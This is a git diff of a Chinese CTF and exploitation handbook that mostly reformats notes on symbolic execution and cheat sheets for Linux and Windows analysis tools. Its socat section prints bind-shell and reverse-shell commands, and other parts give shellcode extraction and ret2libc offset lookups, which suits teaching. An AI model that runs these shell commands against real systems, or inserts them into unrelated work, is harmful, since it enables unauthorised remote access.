-![](../pic/8.9_loop.png) +![img](../pic/8.9_loop.png) 这段程序的执行路径有两种:一种是无数的 true 加上一个 false,另一种是无数的 false。第一种的符号路径约束如下: -![](../pic/8.9_constraint.png) +![img](../pic/8.9_constraint.png) 其中每个 Ni 都是一个新的符号值,执行结束的符号状态为 {N->Nn+1, sum->Σi∈[1,n]Ni}。在实践中我们需要通过一些方法限制这样的搜索。 传统符号执行的一个关键的缺点是,当符号路径约束包含了不能由约束求解器求解的公式时,就不能生成输入值。例如把上面的 twice 函数替换成下面的: -![](../pic/8.9_twice.png) +![img](../pic/8.9_twice.png) 那么符号执行会得到路径约束 x0 ≠ (y0y0)mod50 和 x0 = (y0y0)mod50。更严格一点,如果我们不知道 twice 的源码,符号执行将得到路径约束 x0 ≠ twice(y0) 和 x0 = twice(y0)。在这两种情况下,符号执行都不能生成输入值。 - ## 现代符号执行 + 现代符号执行的标志和最大的优势是将实际执行和符号执行结合了起来。 -#### Concolic Testing +### Concolic Testing + Directed Automated Random Testing(DART) 在程序执行中使用了具体值,动态地执行符号执行。Concolic 执行维护一个实际状态和一个符号状态:实际状态将所有变量映射到实际值,符号状态只映射那些有非实际值的变量。Concolic 执行首先使用一些给定的或者随机的输入作为开始,收集执行过程中的条件语句对输入的符号约束,然后使用约束求解器推测输入的变化,从而引导下一次的程序执行到另一条路径。这个过程会不断地重复,直至探索完所有的执行路径,或者满足了用户定义的覆盖范围,又或者超出了预计的时间开销。 还是上面那个例子。Concolic 执行会生成一些随机输入,例如 {x = 22, y = 7},然后对程序同时进行实际执行和符号执行。这个实际执行会到达第 7 行的 else 分支,同时符号执行会为该实际执行路径生成路径约束 x ≠ 2y0。然后 Concolic 执行会将路径约束的连接词取反,求解 x0 = 2y0 得到测试输入 {x = 2, y = 1},这个新的输入将会让程序沿着另一条执行路径运行。然后 Concolic 执行在这个新的测试输入上,重复实际执行和符号执行的过程,此时将到达第 7 行的 then 分支和第 8 行的 else 分支,生成路径约束 (x0 = 2y0)∧(x0 ≤ y0 + 10),从而生成新的测试输入让程序执行没有被执行过的路径。通过对将结合项 (x0 ≤ y0 + 10) 取反得到的约束 (x0 = 2y0)∧(x0 > y0 + 10) 进行求解,得到测试输入 {x = 30, y = 15},然后程序到达了 ERROR 语句。这样程序的所有 3 条路径就都探索完了,其使用的策略是深度优先搜索。 -#### Execution-Generated Testing(EGT) +### Execution-Generated Testing(EGT) + EGT 是由 EXE 和 KLEE 实现和扩展的现代符号执行方法,它将程序的实际状态和符号状态进行了区分。EGT 在每次执行前会动态地检查所涉及的值是不是都是实际的值,如果是,则程序按照原样执行,否则,如果至少有一个值是符号值,程序会通过更新当前路径的条件符号化地执行。例如上面的例子,把 17 行的 y = sym_input() 改成 y = 10,那么第 6 行就会用实参 20 去调用 twice 函数,就像原程序那样执行。然后第 7 行将变成 if(20 == x),符号执行会通过添加约束 x = 20,走 then 分支,同时添加约束 x ≠ 20,走 else 分支。而在 then 分支上,第 8 行变成了 if(x > 20),不会到达 ERROR。 于是,传统符号执行中,因为外部函数或者无法进行约束求解造成的问题通过使用实际值得到了解决。但同时因为在执行中使用了实际值,固定了某些执行路径,由此将造成路径完成性的缺失。 - ## 关键的挑战和解决方案 -#### 路径爆炸 + +### 路径爆炸 + 在时间和资源有限的情况下,符号执行应该对最相关的路径进行探索,主要有两种方法:启发式地优先探索最值得探索的路径,并使用合理的程序分析技术来降低路径探索的复杂性。 启发式搜索是用于确定路径搜索优先级的关键机制。大多数的启发式方法都专注于获得较高的语句和分支的覆盖率。一种有限的方法是使用静态控制流图来知道探索,尽量选择与未覆盖指令最接近的路径。另一种启发式方法是随机探索,即在两边都可行的符号化分支处随机选择一边。最近提出的一种方法是将符号执行与进化搜索相结合,其 fitness function 用于指导输入空间的搜索。 利用程序分析和软件验证的思想,以合理的方式减少路径探索的复杂性。一种简单的方法是使用 selelct 表达式进行静态融合,然后将其直接传递给约束求解器。这种方法在很多情况下都很管用,但实际上是将路径选择的复杂性传递给了约束求解器。还有一种方法是通过缓存和重用底层函数的计算结果,减小分析的复杂性。 -#### 约束求解 +### 约束求解 + 虽然近几年约束求解器的能力有明显提升,但依然是符号执行的关键瓶颈之一。因此,实现约束求解器的优化十分重要,这里讲两种方法:不相关约束消除和增量求解。 通常一个程序分支只依赖于一小部分的程序变量,因此一种有效的优化是从当前路径条件中移除与识别当前分支不相关的约束。例如,当前路径的条件是:(x + y > 10)∧(z > 0)∧(y < 12)∧(z - x = 0),我们想通过求解 (x + y > 10)∧(z > 0)∧¬(y < 12),其中 ¬(y < 12) 是取反的条件分支,那么我们就可以去掉对 z 的约束,因为其对 ¬(y < 12) 分支不会造成影响。减小后的约束会产生新的 x 和 y,我们用当前执行产生的 z 就可以产生新的输入了。 符号执行生成的约束集有一个重要的特征,就是它们被表示为程序源代码中的静态分支的固定集合。所以,多个路径可能会产生相似的约束集,所以可以使用相似的解决方案。通过重用以前相似请求得到的结果,可以提升约束求解的速度,这种方法被运用到了 CUTE 和 KLEE 中。在 KLEE 中,所有的请求结果都保存在缓存里,该缓存将约束集映射到实际的变量赋值。例如,在缓存中有这样一个映射:(x + y < 10)∧(x > 5) => {x = 6, y = 3}。利用这些映射,KLEE 可以迅速地解决一些相似的请求,例如请求 (x + y < 10)∧(x > 5)∧(y ≥ 0),KLEE 可以迅速检查得到 {x = 6, y = 3} 是可行的。 -#### 内存建模 +### 内存建模 + 程序语句翻译为符号约束的精确性对符号执行的覆盖率有很大的影响。 diff --git a/doc/8_academic.md b/doc/8_academic.md index 34ae826..3744ea6 100644 --- a/doc/8_academic.md +++ b/doc/8_academic.md @@ -1,7 +1,7 @@ # 第八章 学术篇 论文下载: -链接:https://pan.baidu.com/s/1G-WFCzAU2VdrrsHqJzjGpw 密码:vhfw +链接: 密码:vhfw * [8.1 The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)](8.1_ret2libc_without_calls.md) * [8.2 Return-Oriented Programming without Returns](8.2_rop_without_ret.md) diff --git a/doc/9.1_Linuxtools.md b/doc/9.1_Linuxtools.md index 094f74a..fb30349 100644 --- a/doc/9.1_Linuxtools.md +++ b/doc/9.1_Linuxtools.md @@ -21,11 +21,12 @@ - [valgrind](#valgrind) - [xxd](#xxd) - ## dd + **dd** 命令用于复制文件并对原文件的内容进行转换和格式化处理。 -#### 重要参数 +### 重要参数 + ```text if=FILE read from FILE instead of stdin of=FILE write to FILE instead of stdout @@ -34,26 +35,28 @@ bs=BYTES read and write up to BYTES bytes at a time ``` patch 偏移 12345 处的一个字节: -``` + +```text echo 'X' | dd of=binary.file bs=1 seek=12345 count=1 ``` -#### 常见用法 -```shell +### 常见用法 + +```text $ dd if=[file1] of=[file2] skip=[size] bs=[bytes] ``` dump 运行时的内存镜像: + - `cat /proc//maps` - 找到内存中 text 段和 data 段 - `dd if=/proc//mem of=/path/a.out skip=xxxx bs= 1 count=xxxx` - ## dmesg + **dmesg** 命令用于显示 Linux 内核环形缓冲区(ring buffer)的信息。开机信息和各种错误信息都会放到里面。在调试和故障诊断中非常有用。 -#### 重要参数 -``` +```text -c, --read-clear Clear the ring buffer after first printing its contents. -s, --buffer-size size @@ -62,80 +65,81 @@ dump 运行时的内存镜像: Set the level at which printing of messages is done to the console. ``` - ## file + **file** 命令用来探测给定文件的类型。 -#### 技巧 -```shell +### 技巧 + +```text $ file -L [file] ``` + 当文件是链接文件时,直接显示符号链接所指向的文件类别。 - ## edb + **edb** 是一个同时支持x86、x86-64的调试器。它主要向 OllyDbg 工具看齐,并可通过插件体系进行功能的扩充。 -#### 安装 -```shell +### 安装 + +```text $ yaourt -S edb ``` - ## foremost + **foremost** 是一个基于文件文件头和尾部信息以及文件的内建数据结构恢复文件的命令行工具。 -#### 安装 ```shell $ yaourt -S foremost ``` - ## ldd + **ldd** 命令用于打印程序或者库文件所依赖的共享库列表。 ldd 实际上仅是 shell 脚本,重点是环境变量 `LD_TRACE_LOADED_OBJECTS`,在执行文件时把它设为 `1`,则与执行 ldd 效果一样。 -``` + +```text $ ldd [executable] $ LD_TRACE_LOADED_OBJECTS=1 [executable] ``` - ## ltrace + **ltrace** 命令用于跟踪进程调用库函数的情况。 -#### 重要参数 ```text -f trace children (fork() and clone()). -p PID attach to the process with the process ID pid. -S trace system calls as well as library calls. ``` - ## md5sum + **md5sum** 命令采用MD5报文摘要算法(128位)计算和检查文件的校验和。 -#### 重要参数 ```text -b, --binary read in binary mode -c, --check read MD5 sums from the FILEs and check them ``` - ## nm + **nm** 命令被用于显示二进制目标文件的符号表。 -#### 重要参数 ```text -a, --debug-syms Display debugger-only symbols -D, --dynamic Display dynamic symbols instead of normal symbols -g, --extern-only Display only external symbols ``` - ## objcopy + 如果我们要将一个二进制文件,比如图片、MP3音乐等东西作为目标文件中的一个段,可以使用 objcopy 工具,比如我们有一个图片文件 “image.jpg”: + ```text $ objcopy -I binary -O elf32-i386 -B i386 image.jpg image.o @@ -153,23 +157,25 @@ SYMBOL TABLE: 0000642f g .data 00000000 _binary_image_jpg_end 0000642f g *ABS* 00000000 _binary_image_jpg_size ``` + 三个变量的使用方法如下: + ```c -const char *start = _binary_image_jpg_start; // 数据的起始地址 -const char *end = _binary_image_jpg_end; // 数据的末尾地址+1 -int size = (int)_binary_image_jpg_size; // 数据大小 +const char *start = _binary_image_jpg_start; // 数据的起始地址 +const char *end = _binary_image_jpg_end; // 数据的末尾地址+1 +int size = (int)_binary_image_jpg_size; // 数据大小 ``` 这一技巧可能出现在 CTF 隐写题中,使用 foremost 工具可以将图片提取出来: + ```text $ foremost image.o ``` - ## objdump + **objdump** 命令是用查看目标文件或者可执行的目标文件的构成的gcc工具。 -#### 重要参数 ```text -d, --disassemble Display assembler contents of executable sections -S, --source Intermix source code with disassembly @@ -179,63 +185,69 @@ $ foremost image.o -M intel Display instruction in Intel ISA ``` -#### 常见用法 对特定段进行转储: -``` + +```text $ objdump -s -j [section] [binary] ``` + 对地址进行指定和转储: -``` + +```text $ objdump -s --start-address=[address] --stop-address=[address] [binary] ``` + 当包含调试信息时,还可以使用 `-l` 和 `-S` 来分别对应行号和源码。 结合使用 *objdump* 和 *grep*。 -```shell + +```text $ objdump -d [executable] | grep -A 30 [function_name] ``` 查找 **GOT** 表地址: -```shell + +```text $ objdump -R [binary] | grep [function_name] ``` 从可执行文件中提取 **shellcode** (注意,在objdump中可能会删除空字节): -```shell + +```text $ for i in `objdump -d print_flag | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done ``` - ## od + **od** 命令用于输出文件的八进制、十六进制或其它格式编码的字节,通常用于显示或查看文件中不能直接显示在终端的字符。 -#### 重要参数 ```test -A, --address-radix=RADIX output format for file offsets; RADIX is one of [doxn], for Decimal, Octal, Hex or None -t, --format=TYPE select output format or formats -v, --output-duplicates do not use * to mark line suppression ``` + 另外加上 `z` 可以显示 ASCII 码。 -#### 常见用法 用十六进制转存每个字节: -```shell + +```text $ od -t x1z -A x [file] ``` 转存字符串: -``` + +```text $ od -A x -s [file] $ od -A n -s [file] ``` - ## readelf + **readelf** 命令用来显示一个或者多个 elf 格式的目标文件的信息,可以通过它的选项来控制显示哪些信息。 -#### 重要参数 ```text -h --file-header Display the ELF file header -e --headers Equivalent to: -h -l -S @@ -245,90 +257,95 @@ $ od -A n -s [file] -r --relocs Display the relocations (if present) -d --dynamic Display the dynamic section (if present) ``` + 另外 `-w` 选项表示 DWARF2 调试信息。 -#### 常见用法 查找库中函数的偏移量,常用于 **ret2lib**: -```shell + +```text $ readelf -s [path/to/library.so] | grep [function_name]@ ``` + 例如: -``` + +```text $ readelf -s /usr/lib/libc-2.26.so | grep system@ 595: 0000000000041fa0 45 FUNC GLOBAL DEFAULT 12 __libc_system@@GLIBC_PRIVATE 1378: 0000000000041fa0 45 FUNC WEAK DEFAULT 12 system@@GLIBC_2.2.5 ``` - ## socat + **socat** 是 netcat 的加强版,CTF 中经常需要使用使用它连接服务器。 -#### 安装 -```shell +```text $ yaourt -S socat ``` -#### 常见用法 -```shell +```text $ socat [options]
``` 连接远程端口 -```shell + +```text $ socat - TCP:localhost:80 ``` 监听端口 -```shell + +```text $ socat TCP-LISTEN:700 - ``` 正向 shell -```shell + +```text $ socat TCP-LISTEN:700 EXEC:/bin/bash ``` 反弹 shell -```shell + +```text $ socat tcp-connect:localhost:700 exec:'bash -li',pty,stderr,setsid,sigint,sane ``` 将本地 80 端口转发到远程的 80 端口 -```shell + +```text $ socat TCP-LISTEN:80,fork TCP:www.domain.org:80 ``` fork 服务器 -```shell + +```text $ socat tcp-l:9999,fork exec:./pwn1 ``` 跟踪 malloc 和 free 调用及相应的地址: -```shell + +```text $ socat tcp-listen:1337,fork,reuseaddr system:"ltrace -f -e malloc+free-@libc.so* ./pwn" ``` - ## ssdeep + 模糊哈希算法又叫基于内容分割的分片分片哈希算法(context triggered piecewise hashing, CTPH),主要用于文件的相似性比较。 -#### 重要参数 ```text -m - Match FILES against known hashes in file -b - Uses only the bare name of files; all path information omitted ``` -#### 常见用法 -```shell +```text $ ssdeep -b orginal.elf > hash.txt $ ssdeep -bm hash.txt modified.elf ``` - ## strace + **strace** 命令对应用的系统调用和信号传递的跟踪结果进行分析,以达到解决问题或者是了解应用工作过程的目的。 -#### 重要参数 ```text -i print instruction pointer at time of syscall -o file send trace output to FILE instead of stderr @@ -339,22 +356,21 @@ $ ssdeep -bm hash.txt modified.elf -f follow forks ``` - ## strip + **strip** 命令用于删除可执行文件中的符号和段。 -#### 重要参数 ```text -g -S -d --strip-debug Remove all debugging symbols & sections -R --remove-section= Also remove section from the output ``` + 使用 `-d` 后,可以删除不使用的信息,并保留函数名等。用 gdb 进行调试时,只要保留了函数名,都可以进行调试。另外如果对 `.o` 和 `.a` 文件进行 strip 后,就不能和其他目标文件进行链接了。 - ## strings + **strings** 命令在对象文件或二进制文件中查找可打印的字符串。字符串是4个或更多可打印字符的任意序列,以换行符或空字符结束。strings 命令对识别随机对象文件很有用。 -#### 重要参数 ```text -a --all Scan the entire file, not just the data section [default] -t --radix={o,d,x} Print the location of the string in base 8, 10 or 16 @@ -363,39 +379,42 @@ $ ssdeep -bm hash.txt modified.elf ``` `-e` 的作用,例如在这样一个二进制文件中: -``` -$ rabin2 -z a.out -vaddr=0x080485d0 paddr=0x000005d0 ordinal=000 sz=17 len=16 section=.rodata type=ascii string=Enter password: + +```text +$ rabin2 -z a.out +vaddr=0x080485d0 paddr=0x000005d0 ordinal=000 sz=17 len=16 section=.rodata type=ascii string=Enter password: vaddr=0x080485e5 paddr=0x000005e5 ordinal=001 sz=10 len=9 section=.rodata type=ascii string=Congrats! vaddr=0x080485ef paddr=0x000005ef ordinal=002 sz=7 len=6 section=.rodata type=ascii string=Wrong! vaddr=0x0804a040 paddr=0x00001040 ordinal=000 sz=36 len=8 section=.data type=utf32le string=w0wgreat ``` + 字符串 `w0wgreat` 类型为 utf32le,而不是传统的 ascii,这时 strings 就需要指定 `-e L` 参数: -``` + +```text $ strings a.out | grep w0wgreat $ strings -e L a.out | grep w0wgreat w0wgreat ``` -#### 常见用法 组合使用 *strings* 和 *grep*。 在 **ret2lib** 攻击中,得到字符串的偏移: -```shell + +```text $ strings -t x /lib32/libc-2.24.so | grep /bin/sh ``` 检查是否使用了 **UPX** 加壳 -```shell + +```text $ strings [executable] | grep -i upx ``` - ## valgrind + valgrind 能检测出内存的非法使用等。使用它无需在检测对象程序编译时指定特别的参数,也不需要链接其他的函数库。 -#### 重要参数 -``` +```text --leak-check=no|summary|full search for memory leaks at exit? [summary] --show-reachable=yes same as --show-leak-kinds=all --trace-children=no|yes Valgrind-ise child processes (follow execve)? [no] @@ -403,11 +422,10 @@ valgrind 能检测出内存的非法使用等。使用它无需在检测对象 full is slower but provides precise watchpoint/step ``` - ## xxd + **xxd** 的作用就是将一个文件以十六进制的形式显示出来。 -#### 重要参数: ```text -g number of octets per group in normal output. Default 2 (-e: 4). -i output in C include file style. @@ -416,7 +434,6 @@ valgrind 能检测出内存的非法使用等。使用它无需在检测对象 -u use upper case hex letters. ``` -#### 常见用法 -```shell +```text $ xxd -g1 [binary] ``` diff --git a/doc/9.2_wintools.md b/doc/9.2_wintools.md index 0e7010a..d895a14 100644 --- a/doc/9.2_wintools.md +++ b/doc/9.2_wintools.md @@ -11,35 +11,44 @@ - [PDF Stream Dumper](#pdf-stream-dumper) - [EMET](#emet) - ## 010 Editor -https://www.sweetscape.com/010editor/ + + ## DIE -http://ntinfo.biz/ + + ## PEiD -http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml + + PEiD 是一个用于检测常用壳,加密,压缩的小程序。恶意软件编写者通常会进行加壳和混淆让恶意软件不容易被检测和分析。PEiD 可以检查超过 600 种不同的 PE 文件签名,这些数据存放在 `userdb.txt` 文件中。 ## PE Studio -https://www.winitor.com/ + + ## PEview -http://wjradburn.com/software/ + + ## PortEx Analyzer -https://github.com/katjahahn/PortEx + + ## Resource Hacker -http://www.angusj.com/resourcehacker/ + + ## wxHexEditor -http://www.wxhexeditor.org/ + + ## PDF Stream Dumper -http://sandsprite.com/blogs/index.php?uid=7&pid=57 + + ## EMET -https://support.microsoft.com/en-us/help/2458544/the-enhanced-mitigation-experience-toolkit + + diff --git a/doc/9.3_books_blogs.md b/doc/9.3_books_blogs.md index 58d7afa..57b577d 100644 --- a/doc/9.3_books_blogs.md +++ b/doc/9.3_books_blogs.md @@ -5,8 +5,8 @@ - [文章](#文章) - [书籍](#书籍) - ## 课程 + - [Intro to Computer Systems, Summer 2017](https://www.cs.cmu.edu/~213/schedule.html) - [Modern Binary Exploitation Spring 2015](http://security.cs.rpi.edu/courses/binexp-spring2015/) - [OpenSecurityTraining](http://opensecuritytraining.info/Welcome.html) @@ -31,8 +31,8 @@ - [CS 576 Secure Systems Fall 2014](https://www.portokalidis.net/cs576_2014.html) - [CS 577 Cybersecurity Lab Fall 2014](https://www.portokalidis.net/cs577_2014.html) - ## 站点 + - [sec-wiki](https://www.sec-wiki.com/) - [Shellcodes database for study cases](http://shell-storm.org/shellcode/) - [Corelan Team Articles](https://www.corelan.be/index.php/articles/) @@ -40,8 +40,8 @@ - [FuzzySecurity](https://www.fuzzysecurity.com/tutorials.html) - [LiveOverflow](http://liveoverflow.com/index.html) - ## 文章 + - [Debugging Fundamentals for Exploit Development](http://resources.infosecinstitute.com/debugging-fundamentals-for-exploit-development/) - [Introduction to return oriented programming (ROP)](http://codearcana.com/posts/2013/05/28/introduction-to-return-oriented-programming-rop.html) - [Smashing The Stack For Fun And Profit](http://insecure.org/stf/smashstack.html) @@ -54,8 +54,8 @@ - [Linux (x86) Exploit Development Series](https://sploitfun.wordpress.com/2015/06/26/linux-x86-exploit-development-tutorial-series/) - [Hack The Virtual Memory](https://blog.holbertonschool.com/hack-the-virtual-memory-c-strings-proc/#) - ## 书籍 + - [Hacking: The Art of Exploitation, 2nd Edition by Jon Erickson](https://leaksource.files.wordpress.com/2014/08/hacking-the-art-of-exploitation.pdf) - [The Shellcoder's Handbook: Discovering and Exploiting Security Holes, 2nd Edition by Chris Anley et al](https://murdercube.com/files/Computers/Computer%20Security/Wiley.The.Shellcoders.Handbook.2nd.Edition.Aug.2007.pdf) - [The IDA Pro Book: The Unofficial Guide to the World's Most Popular Disassembler 2nd Edition](http://staff.ustc.edu.cn/~sycheng/ssat/books/The.IDA.Pro.Book.2ed.pdf)